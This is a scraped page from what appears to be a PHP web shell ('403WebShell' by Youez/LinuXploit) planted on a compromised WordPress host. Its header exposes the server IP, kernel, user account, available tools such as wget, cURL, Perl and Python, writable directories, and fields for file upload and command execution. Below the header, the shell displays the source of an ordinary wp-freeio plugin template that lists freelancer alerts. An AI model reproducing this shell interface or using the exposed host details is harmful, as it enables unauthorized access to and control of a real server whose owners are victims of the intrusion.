Done ! 403WebShell
403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/blueversion/wp-content/plugins/wp-freeio/templates/misc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/blueversion/wp-content/plugins/wp-freeio/templates/misc/my-freelancers-alerts.php
<?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
wp_enqueue_script('wpfi-select2');
wp_enqueue_style('wpfi-select2');
?>
<div class="box-employer widget">
	<h3 class="widget-title"><?php echo esc_html__('Freelancer Alerts','wp-freeio') ?></h3>
	
	<div class="search-orderby-wrapper flex-middle-sm">
		<div class="search-freelancers-alert-form widget-search">
			<form action="" method="get">
				<div class="input-group">
					<input type="text" placeholder="<?php echo esc_html__( 'Search ...', 'wp-freeio' ); ?>" class="form-control" name="search" value="<?php echo esc_attr(isset($_GET['search']) ? $_GET['search'] : ''); ?>">
					<span class="input-group-btn">
						<button class="search-submit btn btn-sm btn-search" name="submit">
							<i class="flaticon-magnifying-glass"></i>
						</button>
					</span>
				</div>
				<input type="hidden" name="paged" value="1" />
			</form>
		</div>
		<div class="sort-freelancers-alert-form sortby-form">
			<?php
				$orderby_options = apply_filters( 'wp_freeio_my_jobs_orderby', array(
					'menu_order'	=> esc_html__( 'Default', 'wp-freeio' ),
					'newest' 		=> esc_html__( 'Newest', 'wp-freeio' ),
					'oldest'     	=> esc_html__( 'Oldest', 'wp-freeio' ),
				) );

				$orderby = isset( $_GET['orderby'] ) ? wp_unslash( $_GET['orderby'] ) : 'newest'; 
			?>

			<div class="orderby-wrapper flex-middle">
				<span class="text-sort">
					<?php echo esc_html__('Sort by: ','wp-freeio'); ?>
				</span>
				<form class="my-jobs-ordering" method="get">
					<select name="orderby" class="orderby">
						<?php foreach ( $orderby_options as $id => $name ) : ?>
							<option value="<?php echo esc_attr( $id ); ?>" <?php selected( $orderby, $id ); ?>><?php echo esc_html( $name ); ?></option>
						<?php endforeach; ?>
					</select>
					<input type="hidden" name="paged" value="1" />
					<?php WP_Freeio_Mixes::query_string_form_fields( null, array( 'orderby', 'submit', 'paged' ) ); ?>
				</form>
			</div>
		</div>
	</div>
	<?php
	if ( !empty($alerts) && !empty($alerts->posts) ) {
		$email_frequency_default = WP_Freeio_Job_Alert::get_email_frequency();
		?>
		<div class="table-responsive">
			<table class="job-table">
				<thead>
					<tr>
						<th class="job-title"><?php esc_html_e('Title', 'wp-freeio'); ?></th>
						<th class="alert-query"><?php esc_html_e('Alert Query', 'wp-freeio'); ?></th>
						<th class="job-number"><?php esc_html_e('Number Jobs', 'wp-freeio'); ?></th>
						<th class="job-times"><?php esc_html_e('Times', 'wp-freeio'); ?></th>
						<th class="job-actions"><?php esc_html_e('Actions', 'wp-freeio'); ?></th>
					</tr>
				</thead>
				<tbody>
					<?php
					foreach ($alerts->posts as $alert_id) {
						
						$email_frequency = get_post_meta($alert_id, WP_FREEIO_FREELANCER_ALERT_PREFIX . 'email_frequency', true);
						if ( !empty($email_frequency_default[$email_frequency]['label']) ) {
							$email_frequency = $email_frequency_default[$email_frequency]['label'];
						}

						$alert_query = get_post_meta($alert_id, WP_FREEIO_FREELANCER_ALERT_PREFIX . 'alert_query', true);
						$params = null;
						if ( !empty($alert_query) ) {
							$params = json_decode($alert_query, true);
						}


						$query_args = array(
							'post_type' => 'freelancer',
						    'post_status' => 'publish',
						    'post_per_page' => 1,
						    'fields' => 'ids'
						);
						$jobs = WP_Freeio_Query::get_posts($query_args, $params);
						$count_jobs = $jobs->found_posts;

						$freelancers_alert_url = WP_Freeio_Mixes::get_freelancers_page_url();
						if ( !empty($params) ) {
							foreach ($params as $key => $value) {
								if ( is_array($value) ) {
									$freelancers_alert_url = remove_query_arg( $key.'[]', $freelancers_alert_url );
									foreach ($value as $val) {
										$freelancers_alert_url = add_query_arg( $key.'[]', $val, $freelancers_alert_url );
									}
								} else {
									$freelancers_alert_url = add_query_arg( $key, $value, remove_query_arg( $key, $freelancers_alert_url ) );
								}
							}
						}

						?>

						<?php do_action( 'wp_freeio_before_job_alert_content', $alert_id ); ?>

						<tr <?php post_class('job-alert-wrapper'); ?>>
							<td>
						        <div class="job-table-info-content-title">
						        	<a href="<?php echo esc_url($freelancers_alert_url); ?>"><?php echo get_the_title($alert_id); ?></a>
						        </div>
					        </td>
					        <td>
						        <div class="alert-query">
						        	<?php
						        	$params = WP_Freeio_Abstract_Filter::get_filters($params);
						        	if ( $params ) { ?>
						        		<ul class="list">
						        			<?php
							        			foreach ($params as $key => $value) {
							        				WP_Freeio_Freelancer_Filter::display_filter_value_simple($key, $value, $params);
							        			}
						        			?>
						        		</ul>
						        	<?php } ?>
						        </div>
						    </td>
						    <td>
						        <div class="job-found">
						            <?php echo sprintf( __('Jobs found %d', 'wp-freeio'), intval($count_jobs) ); ?>
						        </div>
					        </td>
					        <td>
						        <div class="job-metas">
						            <?php echo wp_kses_post($email_frequency); ?>
						        </div>
						    </td>
						    <td>
								<a href="javascript:void(0)" class="btn-remove-job-alert" data-alert_id="<?php echo esc_attr($alert_id); ?>" data-nonce="<?php echo esc_attr(wp_create_nonce( 'wp-freeio-remove-freelancer-alert-nonce' )); ?>"><?php esc_html_e('Remove', 'wp-freeio'); ?></a>
							</td>
						</tr><!-- #post-## -->

						<?php do_action( 'wp_freeio_after_job_alert_content', $alert_id );
					}
					?>
				</tbody>
			</table>
		</div>
		<?php
		WP_Freeio_Mixes::custom_pagination( array(
			'max_num_pages' => $alerts->max_num_pages,
			'prev_text'     => esc_html__( 'Previous page', 'wp-freeio' ),
			'next_text'     => esc_html__( 'Next page', 'wp-freeio' ),
			'wp_query' => $alerts
		));
	?>

	<?php } else { ?>
		<div class="not-found"><?php esc_html_e('No freelancer alert found.', 'wp-freeio'); ?></div>
	<?php } ?>
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit